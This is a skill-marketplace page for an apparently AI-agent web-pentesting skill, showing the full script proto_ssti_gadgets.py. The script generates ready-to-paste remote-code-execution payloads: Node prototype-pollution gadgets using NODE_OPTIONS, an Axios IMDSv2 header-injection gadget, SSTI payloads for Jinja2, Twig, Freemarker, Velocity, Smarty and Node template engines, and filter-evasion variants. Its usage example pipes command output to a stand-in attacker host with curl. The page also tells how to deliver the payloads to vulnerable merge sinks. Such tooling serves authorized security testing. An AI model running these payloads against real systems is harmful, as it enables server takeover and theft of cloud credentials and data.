hypnguyen1209/offensive-claude / skills/web-pentest
web-pentest
FlaggedUse when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 12.0 KB |
| references/auth-api-access-control.md | markdown | 14.9 KB |
| references/business-logic-abuse.md | markdown | 5.2 KB |
| references/http-desync-cache.md | markdown | 8.6 KB |
| references/injection-sqli-cmdi.md | markdown | 10.0 KB |
| references/proxy-mcp-integration.md | markdown | 3.1 KB |
| references/ssrf-cloud-metadata.md | markdown | 6.7 KB |
| references/ssti-deserialization.md | markdown | 7.0 KB |
| references/waf-bypass.md | markdown | 7.0 KB |
| references/xss-csp-clientside.md | markdown | 7.9 KB |
| references/xxe.md | markdown | 6.9 KB |
| scripts/desync_probe.py | script | 8.3 KB |
| scripts/graphql_audit.py | script | 6.2 KB |
| scripts/jwt_forge.py | script | 8.2 KB |
| scripts/proto_ssti_gadgets.py | script | 8.1 KB |
| scripts/race_single_packet.py | script | 5.4 KB |
| scripts/session_entropy.py | script | 7.9 KB |
| scripts/ssrf_toolkit.py | script | 8.3 KB |
| scripts/xss_csp_forge.py | script | 8.1 KB |
scripts/proto_ssti_gadgets.py
View on GitHub#!/usr/bin/env python3
"""
proto_ssti_gadgets.py - Server-side prototype-pollution & SSTI gadget generator (2024-2026).
Emits ready-to-paste payloads for:
* Node prototype pollution -> RCE gadgets, including the modern fileless
NODE_OPTIONS=--import data: URI gadget (still effective on Node 22.x as of 2025)
and the classic --require gadget, plus child_process argv0/shell gadgets.
* Axios IMDSv2-bypass gadget context (GHSA-fvcv-3m26-pcqx / CWE-113) — the
polluted header that lets a polluted Object.prototype inject the
X-aws-ec2-metadata-token header.
* SSTI RCE payloads per engine: Jinja2 (incl. CVE-2024-22195 sandbox/attr
bypass forms), Twig, Freemarker, Velocity, Smarty, plus Node EJS/Pug/Handlebars.
* SSTI WAF-evasion forms (getattr, hex-encoded dunders, |attr filter, string build).
Modes:
proto Node prototype-pollution RCE gadget payloads
ssti SSTI RCE payloads (--engine jinja2|twig|freemarker|velocity|smarty|node|all)
detect print engine-detection probes ({{7*7}}, ${7*7}, #{7*7}, etc.)
Stdlib only.
Usage:
python3 proto_ssti_gadgets.py proto --cmd "id"
python3 proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 proto_ssti_gadgets.py ssti --engine all --cmd "curl http://atk/$(id|base64)"
python3 proto_ssti_gadgets.py detect
LEGAL: authorized testing only.
"""
import argparse
import json
def proto_gadgets(cmd):
out = []
# 1) NODE_OPTIONS --import data URI (fileless, modern; ESM). Triggers on next fork().
# Single-quote the command inside the data: URI so it survives JSON encoding intact.
js_cmd = cmd.replace("\\", "\\\\").replace("'", "\\'")
import_uri = (
"data:text/javascript,"
"import('child_process').then(c=>c.execSync('" + js_cmd + "'))"
)
out.append(("NODE_OPTIONS --import (fileless, Node>=20 ESM)", {
"__proto__": {"NODE_OPTIONS": f"--import {import_uri}"}
}))
# 2) NODE_OPTIONS --require + write a preload file separately
out.append(("NODE_OPTIONS --require /proc/self/environ", {
"__proto__": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {"EVIL": f"console.log(require('child_process').execSync('{cmd}').toString())//"}
}
}))
# 3) child_process spawn argv0 / shell gadget (Silent Spring class)
out.append(("child_process spawn shell:true gadget", {
"__proto__": {"shell": "/bin/sh", "argv0": cmd}
}))
# 4) Axios IMDSv2 header-injection gadget context (GHSA-fvcv-3m26-pcqx)
out.append(("Axios polluted-header IMDSv2 bypass (set headers via proto)", {
"__proto__": {"headers": {"X-aws-ec2-metadata-token": "<token>"}}
}))
return out
def ssti_payloads(engine, cmd):
j = json.dumps(cmd)[1:-1] # cmd without surrounding quotes, escaped
eng = {}
eng["jinja2"] = [
# config-globals os.popen
"{{config.__class__.__init__.__globals__['os'].popen('" + cmd + "').read()}}",
# cycler/lipsum builtins -> os (works in sandboxes lacking config)
"{{lipsum.__globals__['os'].popen('" + cmd + "').read()}}",
"{{cycler.__init__.__globals__.os.popen('" + cmd + "').read()}}",
# CVE-2024-22195 / sandbox attr-bypass forms (avoid dotted attr access)
"{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('" + cmd + "')['read']()}}",
"{{()['\\x5f\\x5fclass\\x5f\\x5f']}} # hex-encoded __class__ to bypass keyword filters",
"{{(getattr(getattr(cycler,'__init__'),'__globals__'))['os'].popen('" + cmd + "').read()}}",
]
eng["twig"] = [
"{{['" + cmd + "']|filter('system')}}",
"{{['" + cmd + "']|map('system')|join}}",
"{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('" + cmd + "')}}",
]
eng["freemarker"] = [
'<#assign ex="freemarker.template.utility.Execute"?new()>${ex("' + cmd + '")}',
('<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>'
'<#assign rt=oc("java.lang.ProcessBuilder",["' + cmd + '"])>${rt.start().inputStream.text}'),
'${"freemarker.template.utility.Execute"?new()("' + cmd + '")}',
]
eng["velocity"] = [
('#set($e="exp")#set($a=$e.getClass().forName("java.lang.Runtime").getMethod('
'"getRuntime",null).invoke(null,null).exec("' + cmd + '"))$a'),
('#set($s="")#set($rt=$s.class.forName("java.lang.Runtime"))'
'#set($ob=$rt.getMethod("getRuntime").invoke($null))$ob.exec("' + cmd + '")'),
]
eng["smarty"] = [
"{system('" + cmd + "')}",
"{php}system('" + cmd + "');{/php}",
"{function name='x'}{system('" + cmd + "')}{/function}{call name='x'}",
]
eng["node"] = [
# EJS (CVE-2022-29078 class via outputFunctionName / settings)
"<%= global.process.mainModule.require('child_process').execSync('" + cmd + "') %>",
"{{=global.process.mainModule.require('child_process').execSync('" + cmd + "')}}",
# Pug
"#{global.process.mainModule.require('child_process').execSync('" + cmd + "')}",
# Handlebars (lookup-getter chain)
("{{#with \"s\" as |string|}}{{#with split as |conslist|}}{{this.pop}}{{this.push "
"(lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}"
"{{this.pop}}{{this.push \"return require('child_process').execSync('" + cmd + "');\"}}"
"{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}"
"{{/each}}{{/with}}{{/with}}{{/with}}"),
# n8n / sandbox escape via process
"{{ process.mainModule.require('child_process').execSync('" + cmd + "').toString() }}",
]
if engine == "all":
return [(k, v) for k in eng for v in [eng[k]]]
if engine not in eng:
return [("unknown engine", [f"choose one of: {', '.join(eng)}, all"])]
return [(engine, eng[engine])]
DETECT_PROBES = [
("Jinja2/Twig/Nunjucks", "{{7*7}} -> 49"),
("Jinja2 string mult", "{{7*'7'}} -> 7777777 (Jinja2) vs 49 (Twig)"),
("Freemarker/JSP-EL", "${7*7} -> 49"),
("Velocity", "#set($x=7*7)${x} -> 49"),
("Razor (.NET)", "@(7*7) -> 49"),
("Smarty", "{$smarty.version} or {7*7}"),
("ERB (Ruby)", "<%= 7*7 %> -> 49"),
("Pug (Node)", "#{7*7} -> 49"),
("Handlebars/Mustache", "{{7*7}} -> renders literally (logic-less)"),
("Generic poly-probe", "${{<%[%'\"}}%\\ -> error fingerprints the engine"),
]
def cmd_proto(args):
print(f"[*] Node prototype-pollution RCE gadgets (cmd={args.cmd!r})\n")
for label, obj in proto_gadgets(args.cmd):
print(f"--- {label} ---")
print(json.dumps(obj, separators=(",", ":")))
print()
print("Notes:")
print(" - Send as JSON body to a vulnerable merge()/extend()/clone() sink, or use")
print(" ?a[__proto__][NODE_OPTIONS]=... for querystring parsers (qs).")
print(" - --import data: URI is fileless and still works on Node 22.x (2025);")
print(" --require allow-lists often miss --import.")
def cmd_ssti(args):
print(f"[*] SSTI RCE payloads engine={args.engine} cmd={args.cmd!r}\n")
for label, payloads in ssti_payloads(args.engine, args.cmd):
print(f"=== {label} ===")
for p in payloads:
print(" " + p)
print()
def cmd_detect(args):
print("[*] SSTI engine-detection probes:\n")
for name, probe in DETECT_PROBES:
print(f" {name:24} {probe}")
def main():
ap = argparse.ArgumentParser(description="Prototype-pollution & SSTI gadget generator (2024-2026)")
sub = ap.add_subparsers(dest="cmd", required=True)
p = sub.add_parser("proto"); p.add_argument("--cmd", default="id"); p.set_defaults(fn=cmd_proto)
p = sub.add_parser("ssti")
p.add_argument("--engine", default="all",
choices=["jinja2", "twig", "freemarker", "velocity", "smarty", "node", "all"])
p.add_argument("--cmd", default="id"); p.set_defaults(fn=cmd_ssti)
p = sub.add_parser("detect"); p.set_defaults(fn=cmd_detect)
args = ap.parse_args()
args.fn(args)
if __name__ == "__main__":
main()
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |